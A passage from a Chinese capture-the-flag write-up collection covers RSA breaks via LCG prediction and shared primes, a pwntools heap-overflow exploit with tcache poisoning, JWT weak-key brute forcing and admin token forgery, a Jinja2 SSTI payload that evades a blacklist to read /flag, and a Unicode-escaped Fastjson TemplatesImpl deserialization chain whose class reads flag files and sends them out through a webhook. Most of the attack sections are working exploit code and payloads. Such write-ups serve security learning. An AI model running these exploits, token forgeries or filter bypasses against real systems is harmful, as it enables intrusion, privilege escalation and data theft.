就能得到真正的 RSA 素数。

本题验证结果: p * q == n

成立,说明 pq 已经完全恢复。


第四步:分解 RSA 并解密

既然已经拿到了 pq,接下来就是标准 RSA 流程:

    phi(n) = (p - 1)(q - 1)
    d = e^{-1} mod phi(n)
    m = c^d mod n

再把整数转回字节串即可: flag = long_to_bytes(m)

最终得到: LHFLAG{lcg_rsa_predictor_9f3a1c7e5b2d}


完整利用脚本

下面给出本题的完整求解脚本:

    from math import gcd
    from functools import reduce
    from sympy import nextprime
    leak = [
        6985834086318513464582066760726949209670289780223924014189989314148020303714444205927413118671751493130743545190688298414543409085873510552656160506576256,
        7282244412157875114308857740823652350341058188147469510808059192495360119191350036395015555471478559653925696086169517452309653330835642916888429465946211,
        1002794114231128166816211135173410428216376972195397080313080012455988792692246515131492377985052655981575303475686765019210608716329061049962560828575363,
        4477586192351759281760189220444819326589815568129221564121474666910601526393095724102777606325270387078962182371925781406702466696126872911917082111763043,
        7322401749672927612275807633951831167111798827239752438748033792428144120871451046550505356056106291710791287610345186486997678338441869459415730747675848,
        2453956094979835874287873434326477980661206136156942064592927844371687317510373129480180598842006452582062065904520211202668029697652843050740610127468086,
        2740326586334566990787059605091870695062095329281857614935719484632956517014105314443239608159562804443460738565005726448350650224717812760949150171988534,
        7585912819061763422117137229921075196465007521972780322503074449789602179953142181941295151842340199137511389403983042099433633144876922274802342307610422,
        7315097688998032920087172453751035970700135831450471495603601439092292775843751317667155675236178109105737193209581466895128278458155386362803044961601480,
        5997245726016350747947482111615966538840537804797068568851188109453752358541419295057794060476720587261258477381314231836964496783204739144606342473368443,
    ]

    n = 3457493176653935744329250989656750649327040804724658025768062867871700661799411336877305218669630736803860520092210770056572178058772166797062129524483539658137438065055112442175180768844050391404760307986176923967153987260311979398106896242548808983076228626704805648986994671173890832635179299147368481691
    e = 65537
    c = 1000647187097524621492135399992688567047890488977091487164941638610113163790388892932241499775799331256098676902803986758100100914983164467593532755127812962760275620307263921120028436805324458699970081490155784536893678338378009059929582417188211114450310835552298348248596105560838812370161012099089613190


    def egcd(a, b):
        if b == 0:
            return a, 1, 0
        g, x1, y1 = egcd(b, a % b)
        return g, y1, x1 - (a // b) * y1


    def inv(a, m):
        g, x, _ = egcd(a, m)
        if g != 1:
            raise ValueError("inverse does not exist")
        return x % m


    ds = [leak[i + 1] - leak[i] for i in range(len(leak) - 1)]
    ts = [abs(ds[i + 2] * ds[i] - ds[i + 1] * ds[i + 1]) for i in range(len(ds) - 2)]
    m = reduce(gcd, ts)

    a = ((leak[2] - leak[1]) * inv(leak[1] - leak[0], m)) % m
    b = (leak[1] - a * leak[0]) % m

    x10 = (a * leak[-1] + b) % m
    x11 = (a * x10 + b) % m

    p = int(nextprime(x10))
    q = int(nextprime(x11))
    assert p * q == n

    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)
    msg = pow(c, d, n)

    flag = msg.to_bytes((msg.bit_length() + 7) // 8, "big")
    print(flag.decode())

解题思路的关键美感

这题最有意思的地方,不在于公式有多难,而在于结构很顺:

  1. LCG 本身不安全。
  2. 调试输出把连续内部状态暴露了出来。
  3. 连续状态足够恢复随机源参数。
  4. 随机源又直接参与 RSA 素数生成。
  5. 一旦能预测后续状态,RSA 的“不可分解性”就不再成立。

它不是单点失误,而是“弱随机 + 调试泄露 + 密钥生成依赖伪随机”的链式崩塌。

这类题很值得记住,因为真实场景里,很多密码系统并不是算法本身错了,而是:

  • 随机数不够随机;
  • 内部状态被日志、报错、调试信息带出来;
  • 密钥生成路径和弱熵源绑定得太紧。

算法没有倒下,工程实现先倒下了。


复盘总结

这题的核心结论可以压缩成一句话:

当 RSA 的素数来源可预测时,攻击者打的就不是 RSA,而是“生成 RSA 的那台随机机器”。

需要记住的知识点:

  • 连续 LCG 输出可恢复模数 m
  • 再由同余关系恢复 ab
  • 有了参数就能继续预测后续状态
  • next_prime 不会提升随机性,只会把“可预测整数”变成“可预测素数”
  • 一旦 pq 可预测,RSA 直接失守

最终 Flag

LHFLAG{lcg_rsa_predictor_9f3a1c7e5b2d}

简单的RSA

我批量生成了很多 RSA 公钥,并用其中一个公钥加密了 flag。

10 个 RSA 公钥 (e=65537),密文由 key04 加密。计算 key04 的 n 与其余 n 的 GCD,发现与 key07 共享素数因子,从而分解模数、恢复私钥、解密密文。

1: GCD 分析

题目给出 10 个 RSA 公钥,所有 e=65537。若任意两个模数共享素数因子 p,则 gcd(n_i, n_j) = p 可直接分解两者。

    import json
    from math import gcd

    with open('public_keys.json') as f:
        keys = json.load(f)

    ns = {k['id']: int(k['n'], 16) for k in keys}
    n_target = ns['key04']
    e = 65537

    # gcd(key04, key07) 得到共享因子
    for kid, n in ns.items():
        if kid == 'key04':
            continue
        g = gcd(n_target, n)
        if g > 1:
            p = g
            q = n_target // p
            print(f"Shared factor with {kid}: p = {p}")
            break

    # 计算私钥并解密
    phi = (p - 1) * (q - 1)
    d = pow(e, -1, phi)

    ciphertext = 0x6eb35a92f4e81124a404a3b4690465ca03c2659db76b3bd62dc294215feb1e23f6d2514f7770c44ffaf474024a3ad2b760167ac208dfc0228b69929ee5daf0632183cdc3e4e62d19872ba6aa161cde4726adf30c1b53b56d82c2a86e80842f29c904f1f5da0dd7b9db5797dad06219ed0ad2241a45de5bcac18772004668e4e3

    m = pow(ciphertext, d, n_target)
    flag = m.to_bytes((m.bit_length() + 7) // 8, 'big').decode()
    print(flag)

得到Flag

LHFLAG{GCD_RSA_SHARED_PRIME_9f3a2c}

PWN

菜单很美味

港口的老旧货运打包系统最近刚从纸质台账迁到终端服务,但负责迁移的承包商显然没把内存安全当回事。你拿到了一份用于管理货运清单的二进制服务,现场环境只开放了一个 TCP 端口,管理员声称“菜单很简单,按提示操作就好”。 你的目标是审计这个菜单驱动程序,找出其中的内存管理缺陷,并最终获取服务端的 flag。

Harbor Packer 是一个货运清单管理二进制程序(x86-64, Full RELRO, No Canary, No PIE)。repack_cargo 函数在计算新 manifest 大小时将 segments * 32 截断为低 8 位传给 malloc(),但 read_exact() 使用完整值读取数据,导致堆溢出。利用溢出进行 tcache poisoning(绕过 safe-linking),覆写函数指针为 win 地址获取 flag。

1: 漏洞定位

repack_cargorepack 调用 malloc(low_byte) 分配新 manifest,随后 read_exact(ptr, segments * 32) 写入完整数据: segments=9 → 9*32=288=0x120, low_byte=0x20 → malloc(0x20) → 0x30 chunk, 但读入 288 字节

2: Heap Leak + Tcache 布局

通过 inspect 泄露 manifest 堆地址。创建并 scrap 两个 size=0x20 的 slot,使 4 个 0x30 chunk 进入 tcache idx 1。保留一个 slot 0 供 repack 触发溢出。

3: Safe-linking 绕过

glibc 2.38 安全链接保护:stored_fd = target ^ (chunk_addr >> 12)。使用泄露的堆地址计算正确的 mangled fd,覆写 tcache 中被 free chunk 的 fd 指针指向 BSS 中的函数指针区域 0x404020

4: Arbitrary Write + Win

连续两次 malloc(0x20):第一次弹出正常 chunk,第二次弹出被污染的 0x404020read_exactwin 地址 0x401c35 写入函数指针。菜单选项 5(Exit)间接调用被覆写的函数指针 → win() → 打印 /flag

    from pwn import *
    import re

    context.arch = 'amd64'
    elf = ELF('harbor_packer')
    win_addr = elf.symbols['win']       # 0x401c35
    target_ptr = 0x404020               # 16-byte aligned, func ptr at +8

    r = remote('nc1.ctfplus.cn', 35551)
    r.recvuntil(b'>')

    def create(slot, size, tag, data):
        r.sendline(b'1'); r.recvuntil(b'slot:'); r.sendline(str(slot).encode())
        r.recvuntil(b'manifest size:'); r.sendline(str(size).encode())
        r.recvuntil(b'tag:'); r.sendline(tag)
        r.recvuntil(b'manifest bytes:'); r.send(data); r.recvuntil(b'>')

    def scrap_slot(slot):
        r.sendline(b'4'); r.recvuntil(b'slot:')
        r.sendline(str(slot).encode()); r.recvuntil(b'>')

    # Heap leak
    create(0, 128, b'AAAA', b'B'*128)
    resp = b''; r.sendline(b'3'); r.recvuntil(b'slot:'); r.sendline(b'0')
    resp = r.recvuntil(b'>')
    manifest0 = int(re.search(rb'manifest ptr: (0x[0-9a-f]+)', resp).group(1), 16)

    # Setup tcache (4 entries in 0x30 bin)
    create(1, 32, b'VICT', b'V'*32)
    create(3, 32, b'VIC2', b'W'*32)
    create(2, 256, b'PADD', b'P'*256)  # protect top chunk
    scrap_slot(3); scrap_slot(1)

    # Safe-linking calc
    manifest1_user = manifest0 + 0xC0
    xor_key = manifest1_user >> 12
    mangled_fd = target_ptr ^ xor_key

    # Overflow: repack slot 0, segments=9
    payload  = b'\x00'*0x20 + p64(0) + p64(0x31) + p64(mangled_fd) + p64(0)
    payload += b'\x00'*(288 - len(payload))
    r.sendline(b'2'); r.recvuntil(b'slot:'); r.sendline(b'0')
    r.recvuntil(b'segment count:'); r.sendline(b'9')
    r.recvuntil(b'manifest bytes:'); r.send(payload); r.recvuntil(b'>')

    # Poisoned alloc → overwrite function ptr
    r.sendline(b'1'); r.recvuntil(b'slot:'); r.sendline(b'1')
    r.recvuntil(b'manifest size:'); r.sendline(b'32')
    r.recvuntil(b'tag:'); r.sendline(b'X')
    r.recvuntil(b'manifest bytes:')
    r.send(b'\x00'*8 + p64(win_addr) + b'\x00'*16)
    r.recvuntil(b'>')

    # Trigger: Exit → call func ptr → win
    r.sendline(b'5')
    data = r.recvall(timeout=8)
    print(data.decode())

得到Flag

FLAG{4090ecf1-31b2-4108-905f-ff06418236d2}

Web

财务已阅

审批流偶尔也会认错路,尤其是看到 finance. 开头的时候

墨仓云采供应商对账中心是一个三角色(供应商/财务/运营)工作流系统。财务 finance_pass 会将单据路由到风控挂起(RISK_HOLD),需运营 risk_release 才能归档。Flag 藏在归档后的付款回单接口 /api/settlements/{id}/receipt 中。

1: 获取测试账号并理解工作流

登录页直接提供了三个测试账号:

账号密码角色可用操作
supplier_chenMingCang@101供应商supplier_submit → 财务复核中
finance_linFinance#2026财务finance_pass → 风控挂起
ops_wuOps#2026采购运营risk_release → 已付款归档

提示”审批流偶尔也会认错路,尤其是看到 finance. 开头的时候”——finance_pass 本应直接归档,却被错误路由到风控挂起。

2: 走完三节点完整流程

任一待处理单据依次提交:

    import requests

    BASE = "http://8080-f8e0ec92-2443-4c32-afbb-70e089298c60.challenge.ctfplus.cn"

    def login(username, password):
        s = requests.Session()
        s.post(f"{BASE}/login", data={"username": username, "password": password})
        return s

    def action(session, business_no, action_name):
        return session.post(f"{BASE}/api/settlements/{business_no}/actions",
            json={"action": action_name, "memo": "", "proofCode": ""}).json()

    # 供应商提交
    s1 = login("supplier_chen", "MingCang@101")
    action(s1, "MC-202604-0091", "supplier_submit")  # → FINANCE_REVIEW

    # 财务复核(走到风控挂起——审批流 bug)
    s2 = login("finance_lin", "Finance#2026")
    action(s2, "MC-202604-0091", "finance_pass")    # → RISK_HOLD

    # 运营释放
    s3 = login("ops_wu", "Ops#2026")
    action(s3, "MC-202604-0091", "risk_release")    # → ARCHIVED_PAID

3: 读取归档回单

resp = s3.get(f"{BASE}/api/settlements/MC-202604-0091/receipt").json()
print(resp["receipt"])
# 付款流水 MC-PAY-202604-0091 / 归档校验码:FLAG{...}

得到Flag

FLAG{9f7e15fa-005b-4431-a85e-2a3a4a1bf085}

一枚饼干的越权航线

有些桥叫 legacy,有些钥匙也很 legacy。老系统的味道,往往藏在日期和环境名里。

提示内容

Hint 1: 登录后不要只看页面内容,重点观察服务端下发的 session Cookie。

Hint 2: session 的结构可能能被解析,看看它是不是 JWT。

Hint 3: 注意 JWT 的 alg、kid、iss,以及 payload 中的 role、tenant、scopes。

Hint 4: /api/audit/identity-bridge 里的 legacy SSO 信息不是摆设。

Hint 5: HS256 使用对称密钥,拿到合法 token 后可以尝试离线验证弱密钥。

Hint 6: 密钥更像业务线索拼出来的字符串,而不是纯随机口令。

Hint 7: 管理员接口不仅检查 role,还可能检查 tenant 和 scopes。

Hint 8: 目标接口是 /admin/settlements。

DockLine Partner Portal 使用 HS256 签名 JWT 作为 session Cookie。kid 为 legacy-prod-202402,iss 为 dockline-sso。身份桥接接口 /api/audit/identity-bridge 泄露了完整的 JWT 配置指纹。通过业务关键词排列组合爆破出弱对称密钥 dockline-prod-202402,伪造 admin 角色 JWT 访问 /admin/settlements 获取 flag。

1: 登录获取 JWT

登录页预填了测试凭证 carrier.ops@harbor.test / Harbor@2026,POST /api/login 后在 Set-Cookie: session= 拿到 JWT:

    Header:  {"alg":"HS256","typ":"JWT","kid":"legacy-prod-202402"}
    Payload: {"role":"carrier","tenant":"harbor","scopes":["shipment:read","invoice:read"],"iss":"dockline-sso"}

2: 枚举弱密钥

访问 /api/audit/identity-bridge 获取 SSO 诊断信息——服务名 legacy-sso-bridge、owner finance-platform、issuer dockline-sso。提示明确说明 HS256 使用对称密钥且”密钥更像业务线索拼出来的字符串”。

kidiss、服务名等关键词做排列组合,HMAC-SHA256 签名比对:

    import hmac, hashlib, base64, json, time, itertools

    token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImxlZ2FjeS1wcm9kLTIwMjQwMiJ9.eyJzdWIiOiJ1c3JfNDgyOSIsImVtYWlsIjoiY2Fycmllci5vcHNAaGFyYm9yLnRlc3QiLCJuYW1lIjoiSGFyYm9yIEZyZWlnaHQgT3BzIiwiY29tcGFueSI6IkhhcmJvciBGcmVpZ2h0IENvLiIsInJvbGUiOiJjYXJyaWVyIiwidGVuYW50IjoiaGFyYm9yIiwic2NvcGVzIjpbInNoaXBtZW50OnJlYWQiLCJpbnZvaWNlOnJlYWQiXSwiaWF0IjoxNzc4OTE0MDExLCJleHAiOjE3Nzg5MjEyMTEsImlzcyI6ImRvY2tsaW5lLXNzbyJ9.FdYEmqnSMMYXdOKKr7mp7pdMaeV-BeLU6sXYzRnTpFM"
    sig = token.split('.')[2]
    data = '.'.join(token.split('.')[:2])

    terms = ["dockline", "legacy", "prod", "202402", "finance", "platform", "sso", "bridge", "harbor"]
    for r in range(2, 6):
        for combo in itertools.permutations(terms[:6], r):
            for sep in ['-', '_', ':']:
                key = sep.join(combo)
                check = base64.urlsafe_b64encode(hmac.new(key.encode(), data.encode(), hashlib.sha256).digest()).rstrip(b'=').decode()
                if check == sig:
                    print(f"FOUND: {key}")  # dockline-prod-202402
                    break

3: 伪造 Admin JWT

用恢复的密钥签名新的 JWT,将 role 改为 admintenant 改为 dockline,增加 admin:read 等 scope:

    KEY = "dockline-prod-202402"
    header = {"alg":"HS256","typ":"JWT","kid":"legacy-prod-202402"}
    payload = {"sub":"usr_1001","email":"mara.wei@dockline.internal","name":"Mara Wei","company":"DockLine",
               "role":"admin","tenant":"dockline",
               "scopes":["settlement:read","admin:read","finance:read","settlement:write"],
               "iat":int(time.time()),"exp":int(time.time())+7200,"iss":"dockline-sso"}

    h = base64.urlsafe_b64encode(json.dumps(header,separators=(',',':')).encode()).rstrip(b'=').decode()
    p = base64.urlsafe_b64encode(json.dumps(payload,separators=(',',':')).encode()).rstrip(b'=').decode()
    s = base64.urlsafe_b64encode(hmac.new(KEY.encode(),f"{h}.{p}".encode(),hashlib.sha256).digest()).rstrip(b'=').decode()
    admin_jwt = f"{h}.{p}.{s}"

访问 /admin/settlementsCookie: session={admin_jwt} 即返回 flag。

得到Flag

FLAG{554ef4ab-2e32-4b69-945c-47a70341e41b}

工单别乱填

售后同学说这个模板只能填业务变量。

但模板引擎好像有点太热心了:你写什么,它都想帮你算一算。

审计系统也在努力上班,只是它可能不太认识“换了马甲”的字符。

首页看起来是一个很正常的模板预览系统:

  • 用户可以编辑 titlebodyfooter
  • 页面提示支持 [[ ticket.id ]][[ team.name ]] 这一类占位符
  • 点击“预览”后,前端会向 /api/preview 发送 JSON 请求

前端核心逻辑非常直接: const response = await fetch(“/api/preview”, { method: “POST”, headers: { “Content-Type”: “application/json” }, body: JSON.stringify(payload), });

到这里基本可以确定,真正的攻击面在服务端模板渲染流程,而不是前端。


漏洞确认

第一步先验证模板表达式是否会被执行: [[ 7*7 ]]

回显结果为: 49

这一步已经足够说明问题:用户输入并不是被当作普通字符串处理,而是被送进了 Jinja2 模板引擎执行。这就是标准的 SSTI


源码还原与问题本质

继续利用 SSTI 读取源码后,可以还原出核心逻辑:

    PLACEHOLDER_RE = re.compile(r"\[\[\s*(.*?)\s*\]\]", re.DOTALL)

    BLOCKED_TOKENS = (
        "{{", "}}", "{%", "%}",
        "__", "class", "mro", "subclasses",
        "globals", "builtins", "import",
        "eval", "exec", "popen", "system",
        "os", "config", "request", "flag", "/",
    )

    def compile_template(source: str) -> str:
        return PLACEHOLDER_RE.sub(lambda match: "{{ " + match.group(1) + " }}", source)

这里的设计问题非常明显:

  1. 业务占位符 [[ ... ]] 被直接转换成了 Jinja2 表达式 {{ ... }}
  2. 用户输入没有进入安全白名单解析,而是进入了真实模板执行环境。
  3. 所谓“防护”只是简单的黑名单字符串匹配。

这类防护的根本缺陷在于:它拦的是字面量,不是语义。

比如它禁止 globals,但并不能阻止我们写成: ‘glo’ ~ ‘bals’

同理,osbuiltinsflag/ 都可以被运行时拼接出来。


利用思路

这题最稳定的利用链来自 Jinja2 内置对象 lipsum

lipsum 是一个函数对象,而函数对象天然带有 __globals__。虽然题目拦截了 __globals,但由于只是黑名单,可以通过字符串拼接绕过: lipsum|attr(‘‘~’‘~’glo’~’bals’~’‘~’‘)

拿到 __globals__ 后,就可以进一步访问:

  • os
  • __builtins__
  • open
  • chr

于是整条利用链就成型了:

  1. 通过 lipsum 拿到 __globals__
  2. 从中取出 __builtins__
  3. chr(47) 构造 /
  4. chr(102) chr(108) chr(97) chr(103) 构造 flag
  5. 调用 open('/flag').read() 读取文件

关键利用过程

1. 验证表达式执行
[[ 7*7 ]]

返回: 49

2. 确认可以摸到 lipsum.__globals__
[[ lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_') ]]

回显里可以看到模块全局变量,包括 os__builtins__

3. 列根目录

利用 os.listdir('/') 的变体,把 / 动态拼出来: [[ ((lipsum|attr(‘‘~’‘~’glo’~’bals’~’‘~’‘)).get(‘o’~’s’)|attr(‘listdir’)(((lipsum|attr(‘‘~’‘~’glo’~’bals’~’‘~’‘)).get(‘‘~’‘~’buil’~’tins’~’‘~’‘)).get(‘chr’)(47))) ]]

返回结果中可以看到根目录存在: ‘flag’

4. 读取 /flag

最终 payload:

    [[ (((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('open'))(((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(47) ~ ((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(102) ~ ((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(108) ~ ((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(97) ~ ((lipsum|attr('_'~'_'~'glo'~'bals'~'_'~'_')).get('_'~'_'~'buil'~'tins'~'_'~'_')).get('chr')(103))|attr('read')() ]]

最终得到:FLAG{87b46c9d-57ee-4dea-b819-6cd172ea7f84}

记住我,也记住卷宗

云坞归档中心最近上线了连接器巡检功能,用来预览低代码模板和检查外部归档接口。

为了方便审计终端长期值守,系统还开启了“记住登录状态”。

访客账号已经开放给你:

guest / guest2026

请评估这个归档系统的安全风险。试试能不能找到秘密

一、初始观察

目标站点是一个直接可访问的归档中心: http://8080-a998cc25-435c-465c-bab1-5ef6788ab04a.challenge.ctfplus.cn/

首页在未登录状态下就能看到明显的业务结构:

  • 品牌名是 云坞归档中心
  • 副标题是 流程档案与外部连接器运维台
  • 右侧工作区里有一块 连接器模板预览
  • 旁边还特意标了一个字样: legacy parser

默认模板内容也很有信息量:{"name":"审计材料同步","endpoint":"internal://archive/audit","mode":"render"}

这个默认值已经在暗示几件事:

  • 后端会处理一段完整 JSON
  • 存在内部协议形式的 endpoint
  • 系统里有“旧解析器”仍在服役

这类页面不是那种只有一个登录框的空壳站,而是从 UI 层就已经把攻击面半暴露出来了。


二、rememberMe 这条线索意味着什么

题目描述明确说系统开启了“记住登录状态”,这不是一句废话。

使用访客账号登录后: guest / guest2026

响应头会返回长效 rememberMe Cookie。而接口 /api/session 的返回格式也非常直白: {“principal”:”guest”,”authenticated”:false,”remembered”:true}

这一步至少说明三件事:

  • 系统确实区分 authenticatedremembered
  • 后端是典型 Java 会话语义
  • “记住我”不是装饰性功能,而是进入实际鉴权流程的一部分

本地分析过程里也保留了大量围绕 rememberMe 的探测痕迹:

  • remember.txt
  • cookies_true.txt
  • DecryptRememberMe.java
  • DecryptRememberMe2.java
  • ShiroKeyProbe.java

这些信息共同指向一个很自然的判断:

这题故意把选手的第一反应往 Shiro rememberMe 方向带。

但继续往下做会发现,rememberMe 更像是一层题面引导和环境提示,而不是最终拿 flag 的落点。

它告诉我们:

  • 这是 Java 生态
  • 系统里存在“长期兼容”思路
  • 开发风格偏向“功能能跑就先留着”

而真正能把秘密拖出来的,是另外一块同样带着“兼容味道”的功能。


三、真正的核心接口: /api/integration/preview

前端脚本 /js/app.js 非常诚实,直接暴露了几个关键接口: GET /api/dashboard GET /api/records POST /api/integration/preview

其中决定整题走向的,是这个: POST /api/integration/preview

向它发送最普通的业务数据:{"name":"审计材料同步","endpoint":"internal://archive/audit","mode":"render"}

返回结果会出现一个非常关键的字段:

    {
      "rendered":"{\"mode\":\"render\",\"endpoint\":\"internal://archive/audit\",\"name\":\"审计材料同步\"}",
      "parser":"fastjson-compat",
      "ok":true
    }

fastjson-compat 四个字几乎已经把攻击方向写明了。

这不是单纯的模板拼接,也不是普通回显接口。它是一个“先按兼容模式解析对象,再把结果渲染出来”的入口。

而一旦后端真的保留了 Fastjson 风格的类型能力,后面的思路就很清楚了:

  • 试探 @type
  • 判断是否实例化对象
  • 判断有没有高危类名过滤
  • 评估能否打到真实反序列化执行面

四、验证利用面

围绕 /api/integration/preview 继续测试后,可以逐步确认:

  • 接口会处理完整 JSON 对象
  • 存在类型解析迹象
  • 能识别 @type
  • 某些对象会被实例化
  • 有一层“危险关键字”网关
  • 但这层网关更像字符串拦截,而不是从根上关闭类型系统

这一步很关键。

因为如果它只是普通白名单映射,那么后面所有反序列化思路都会直接死掉。但现在的情况是:

类型能力还在,只是外围包了一层并不彻底的过滤。

这就意味着整题已经从“业务观察”进入“利用构造”阶段。


五、第一层突破: Unicode 绕过危险类名拦截

接口会明显拦一些高危类名,例如:

  • TemplatesImpl
  • TrAXFilter
  • BeanComparator
  • InvokerTransformer

但问题在于,它拦的是“明文关键字”,不是最终语义。

因此把关键字段与类名都写成 Unicode 转义之后,过滤就可以被绕过。最小化示意如下:

    {
      "\u0040type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e..."
    }

这一步之后,真正重要的里程碑是:

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 成功被实例化。

一旦这一点被确认,说明后端的“legacy parser”不是徒有其名,它是真的把危险 Java 类带进了运行期对象图里。


六、为什么一开始始终不出网

走到这里,题目看起来已经接近结束。但真正最容易卡人的地方,恰好就在这一段。

最初无论是尝试:

  • TrAXFilter 触发
  • outputProperties 触发
  • 其他模板链包装方式

现象都非常接近:

  • 接口报 JSONException
  • 看起来像是已经打中了
  • 但恶意逻辑始终没有真正执行成功

如果只盯着 gadget 形状,很容易得出错误结论:

  • 链条不对
  • getter 没命中
  • 触发点选错了

但本题真正的问题,不在利用链形状,而在运行时环境。


七、真正的坑: 远端是 JDK 8,本地 payload 却是 Java 21

通过副作用流量可以确认远端 Java 进程特征: Java/1.8.0_482

而最开始塞进 TemplatesImpl 的恶意 translet class,major version 是: 65

这代表 Java 21。

问题到这里就完全清楚了:

  • 本地生成的恶意类属于 Java 21
  • 远端运行环境只有 JDK 8
  • JDK 8 去加载 Java 21 的 class,必然失败

于是才会出现一种非常迷惑的假象:

  • 类型能力还在
  • TemplatesImpl 似乎实例化成功
  • 接口也确实抛异常了
  • 但真正的恶意逻辑就是落不了地

这题最有意思的地方就在这里。

很多时候,不是 payload 错了,而是 payload 所属的时代错了。

你拿一个属于 Java 21 的类去打 Java 8,链再漂亮,也不过是纸上谈兵。


八、修正思路: 重新生成 Java 8 兼容恶意类

既然问题出在字节码版本,修法就非常明确:

  • 重新生成恶意 translet
  • 确保 class 文件是 Java 8 可加载版本

修正后的 major version: 52

也就是 JDK 8 可正常加载的字节码。

恶意类逻辑本身不复杂,核心就是三件事:

  1. 依次尝试读取若干候选 flag 路径
  2. 找到内容后拼接结果
  3. 通过 webhook 外带回传

尝试过的典型路径包括:

    /flag
    /flag.txt
    /app/flag
    /tmp/flag
    /home/ctf/flag
    /root/flag

最终确认有效路径为: /tmp/flag

到这一步,整个链路才真正从“理论能打”变成“远端落地”。


九、关键 payload 结构

为了不让整篇 WP 被长串 Base64 淹没,这里只保留最关键的结构骨架。

1. Unicode 绕过后的 TemplatesImpl
{
  "\u0040type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0061\u006c\u0061\u006e\u002e\u0069\u006e\u0074\u0065\u0072\u006e\u0061\u006c\u002e\u0078\u0073\u006c\u0074\u0063\u002e\u0074\u0072\u0061\u0078\u002e\u0054\u0065\u006d\u0070\u006c\u0061\u0074\u0065\u0073\u0049\u006d\u0070\u006c",
  "_\u0062\u0079\u0074\u0065\u0063\u006f\u0064\u0065\u0073":["<base64 class bytes>"],
  "_\u006e\u0061\u006d\u0065":"p"
}

重点不是那串字节码本身,而是:

  • @type 被 Unicode 化
  • 危险类名被 Unicode 化
  • 关键字段同样做了绕过处理
2. Java 8 兼容版触发结构
{
  "\u0040type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0061\u006c\u0061\u006e\u002e\u0069\u006e\u0074\u0065\u0072\u006e\u0061\u006c\u002e\u0078\u0073\u006c\u0074\u0063\u002e\u0074\u0072\u0061\u0078\u002e\u0054\u0065\u006d\u0070\u006c\u0061\u0074\u0065\u0073\u0049\u006d\u0070\u006c",
  "_\u0062\u0079\u0074\u0065\u0063\u006f\u0064\u0065\u0073":["<java8 class bytes>"],
  "_\u006e\u0061\u006d\u0065":"p",
  "_\u0074\u0066\u0061\u0063\u0074\u006f\u0072\u0079":{
    "\u0040type":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u006f\u0072\u0067\u002e\u0061\u0070\u0061\u0063\u0068\u0065\u002e\u0078\u0061\u006c\u0061\u006e\u002e\u0069\u006e\u0074\u0065\u0072\u006e\u0061\u006c\u002e\u0078\u0073\u006c\u0074\u0063\u002e\u0074\u0072\u0061\u0078\u002e\u0054\u0072\u0061\u006e\u0073\u0066\u006f\u0072\u006d\u0065\u0072\u0046\u0061\u0063\u0074\u006f\u0072\u0079\u0049\u006d\u0070\u006c"
  },
  "_\u006f\u0075\u0074\u0070\u0075\u0074\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0069\u0065\u0073":{
    "\u0040type":"\u006a\u0061\u0076\u0061\u002e\u0075\u0074\u0069\u006c\u002e\u0050\u0072\u006f\u0070\u0065\u0072\u0074\u0069\u0065\u0073"
  }
}

这段真正体现的是完整思路:

  • 不是只把危险类放进去就结束
  • 还要命中正确的触发路径
  • 更要保证 payload 与远端 JDK 版本兼容

十、最终利用链

在字节码版本修正之后,原本那些“只是报错”的请求终于变成了真实执行。虽然接口表面仍可能返回异常,但远端 JVM 已经完成了:

  • 类加载
  • 触发执行
  • 读取目标文件
  • 外带回传
flowchart LR A["登录归档中心"] --> B["观察 rememberMe 与会话语义"] B --> C["定位 /api/integration/preview"] C --> D["识别 fastjson-compat 解析"] D --> E["Unicode 绕过危险类名拦截"] E --> F["实例化 TemplatesImpl"] F --> G["命中模板触发路径"] G --> H["替换为 Java 8 兼容恶意 translet"] H --> I["读取 /tmp/flag"] I --> J["通过 webhook 回传结果"]

这题真正决定成败的,不是某一个孤立技巧,而是三件事同时成立:

  • 你看懂了题面给出的两条线索
  • 你找到了真正的兼容解析入口
  • 你尊重了远端运行时环境

十一、结果确认

Webhook 收到的最终回传为: /tmp/flag:FLAG{71b70868-77e0-4efa-ab98-b8f9133d53f5}

因此本题最终 flag 是: FLAG{71b70868-77e0-4efa-ab98-b8f9133d53f5}


十二、这题到底在考什么

如果只把这题总结成“Fastjson 反序列化”,其实是低估了它。

它更像是在考四层能力:

1. 对题面叙事的判断力

rememberMe 不是无意义装饰,legacy parser 也不是无意义点缀。题目把两条线索都放到了明面上,但真正的突破并不在第一眼最容易上头的地方。

2. 对 Java 兼容层风险的敏感

所谓“compat”,很多时候就是历史债最浓的地方。一旦老解析器还在服役,攻击面往往不是缩水,而是被悄悄保留。

3. 对利用链状态的辨识能力

不是看到 JSONException 就说明失败,也不是看到 TemplatesImpl 实例化就说明成功。

你得分清:

  • 哪一步只是进入了解析阶段
  • 哪一步真的完成了类加载
  • 哪一步才是最终的代码执行
4. 对运行环境细节的敬畏

这题最有味道的一点,就是让人重新意识到:

漏洞利用从来不是只和语法对话,它也在和版本、类加载器、运行时现实对话。


十三、复现摘要

如果只保留最核心的复现步骤,可以压缩成:

  1. 使用 guest / guest2026 登录归档中心
  2. 观察 rememberMe/api/session 的 remembered 语义
  3. 从前端 JS 定位到 /api/integration/preview
  4. 从响应中的 fastjson-compat 确认兼容解析方向
  5. 用 Unicode 绕过危险类名拦截
  6. 成功实例化 TemplatesImpl
  7. 发现远端是 Java/1.8.0_482
  8. 将恶意 translet 重新编译为 Java 8 字节码
